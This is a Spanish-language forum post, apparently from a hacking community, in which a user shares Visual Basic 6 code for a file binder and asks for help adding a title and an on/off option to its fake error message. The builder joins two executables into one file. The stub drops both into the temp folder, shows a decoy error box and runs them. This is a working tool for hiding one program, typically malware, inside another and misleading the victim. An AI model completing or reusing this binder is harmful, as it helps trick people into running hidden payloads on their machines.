Bueno amigos, aun no lo he resuelto xD, el binder bindea perfecto, aunque necesitaria ayuda para vincular los fakes, entonces, yo tengo estes codes:
Cliente: (Codigo encryptar)
Código: Seleccionar todo
Private Sub Command3_Click()
Dim Resp As Integer
If CommonDialog1.FileName = "" And CommonDialog2.FileName = "" Then
MsgBox "Elige los 2 archivos a bindear", vbInformation, "Error"
Exit Sub
ElseIf CommonDialog1.FileName = "" Then
MsgBox "Elige el archivo1!", vbInformation, "Error"
Exit Sub
ElseIf CommonDialog2.FileName = "" Then
MsgBox "Elige el archivo2!", vbInformation, "Error"
Exit Sub
ElseIf Check2.Value = vbChecked And CommonDialog3.FileName = "" Then
MsgBox "Elige el icono o deshabilita la opcion!", vbInformation, "Error"
Exit Sub
ElseIf Check1.Value = vbChecked And Text3.Text = "Escriba su Fake mensaje..." And Text4.Text = "Titulo del mensaje" Then
Resp = MsgBox("Esta seguro que quiere poner el fake message?", vbQuestion + vbYesNo + vbDefaultButton2, "No se ha cambiado el titulo del fake message")
If Resp = 7 Then
Exit Sub
End If
End If
Dim Archivo1 As String
Dim Archivo2 As String
Dim Clavedeparticion As String
Open App.Path & "\Underc0de.exe" For Binary As #1
Archivo1 = Space(LOF(1))
Get #1, , Archivo1
Close #1
Open Text1.Text For Binary As #1
Archivo2 = Space(LOF(1))
Get #1, , Archivo2
Close #1
Dim buffer3 As String
Open Text2.Text For Binary As #1
buffer3 = Space(LOF(1))
Get #1, , buffer3
Close #1
Clavedeparticion = "PerezaxD2"
Dim Mensaje As String
Mensaje = Text3.Text
Dim Titulo As String
Titulo = Text4.Text
Open App.Path & "\Bindeado.exe" For Binary As #1
Put #1, , Archivo1
Put #1, , Clavedeparticion
Put #1, , Archivo2
Put #1, , Clavedeparticion
Put #1, , Titulo
Put #1, , Clavedeparticion
Put #1, , Mensaje
Put #1, , Clavedeparticion
Put #1, , buffer3
Put #1, , Clavedeparticion
Close #1
Image2.Visible = True
Image1.Visible = False
Timer1.Enabled = True
End Sub
CODIGO STUB
Código: Seleccionar todo
Sub Main()
Dim Archivo1 As String
Dim Cortararchivos() As String
Dim Clavedeparticion As String
Clavedeparticion = "PerezaxD2"
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Archivo1 = Space(LOF(1))
Get #1, , Archivo1
Close #1
Cortararchivos = Split(Archivo1, Clavedeparticion)
Open Environ$("tmp") & "\Archivo1.exe" For Binary As #1
Put #1, , Cortararchivos(1)
Close #1
MsgBox Cortararchivos(2), vbInformation, "Error"
Open Environ$("tmp") & "\Archivo2.exe" For Binary As #1
Put #1, , Cortararchivos(3)
Close #1
Shell Environ$("tmp") & "\Archivo1.exe", vbNormalFocus
Shell Environ$("tmp") & "\Archivo2.exe", vbNormalFocus
End Sub
Entonces yo lo que quiero es agregarle el Titulo del fake message, y ademas, ponerlo opcional (en el cliente hay un check para el fake message) con el siguiente code:
Código: Seleccionar todo
Private Sub Check1_Click()
If Check1.Value = vbChecked Then
Label1.Caption = "Activado"
Text3.Enabled = True
Text4.Enabled = True
Text3.Text = "Escriba su Fake mensaje..."
Text4.Text = "Titulo del mensaje"
Combo1.Enabled = True
Command4.Enabled = True
Combo1.Text = "Critical"
Command4.Caption = "Testear"
Else
Text3.Text = "Fake Mensaje no establecido"
Text4.Text = "Fake Mensaje no establecido"
Text4.Enabled = False
Label1.Caption = "Desactivado"
Text3.Enabled = False
Combo1.Enabled = False
Command4.Enabled = False
Combo1.Text = "Desactivado"
Command4.Caption = "----"
End If
End Sub
OK, bueno solo para que se hagan una idea lo que pasa esk solo se ponerle el texto del fake pero no el titulo :S y tambien si alguien me ayudara a ponerlo opcional seria de gran ayuda, cualquier cosa que necesiten diganlo y pongo el code o algo ;)
Gracias de antemano
